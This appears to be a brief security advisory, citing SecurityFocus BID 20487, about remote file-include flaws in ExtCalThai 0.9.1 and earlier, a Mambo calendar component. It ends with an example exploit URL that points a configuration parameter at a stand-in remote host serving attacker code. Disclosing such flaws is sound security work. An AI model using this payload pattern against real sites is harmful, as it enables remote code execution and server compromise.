source: https://www.securityfocus.com/bid/20487/info
ExtCalThai is prone to multiple remote file-include vulnerabilities because it fails to sufficiently sanitize user-supplied data.
Exploiting these issues may allow an attacker to compromise the application and the underlying system; other attacks are also possible.
ExtCalThai 0.9.1 and prior verions are vulnerable; other versions may also be affected.
http://www.example.com/MamboV4.6RC2/components/com_extcalendar/admin_events.php?CONFIG_EXT[LANGUAGES_DIR]=http://shell/cmd.gif?
